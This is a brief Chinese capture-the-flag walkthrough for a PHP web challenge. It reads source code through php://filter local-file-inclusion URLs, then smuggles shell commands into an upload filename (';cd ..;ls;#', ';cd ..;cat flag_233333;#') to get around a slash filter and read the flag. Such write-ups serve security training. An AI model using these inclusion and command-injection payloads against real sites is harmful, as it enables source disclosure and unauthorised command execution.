随便输入账号密码,没什么提示,试一下有没有注册界面register.php
注册并登录
试一下伪协议读取源码/user.php?page=php://filter/convert.base64-encode/resource=user
注意到这里有function.php
/user.php?page=php://filter/convert.base64-encode/resource=function
读取/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
但不成功
查了一下,得用这个url
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
读取m4aaannngggeee
/user.php?page=m4aaannngggeee
应该是文件上传,抓包,修改文件名
尝试切到根目录的时候,发现/被过滤了,使用cd ..
payload:;cd ..;ls;#
读取flag:;cd ..;cat flag_233333;#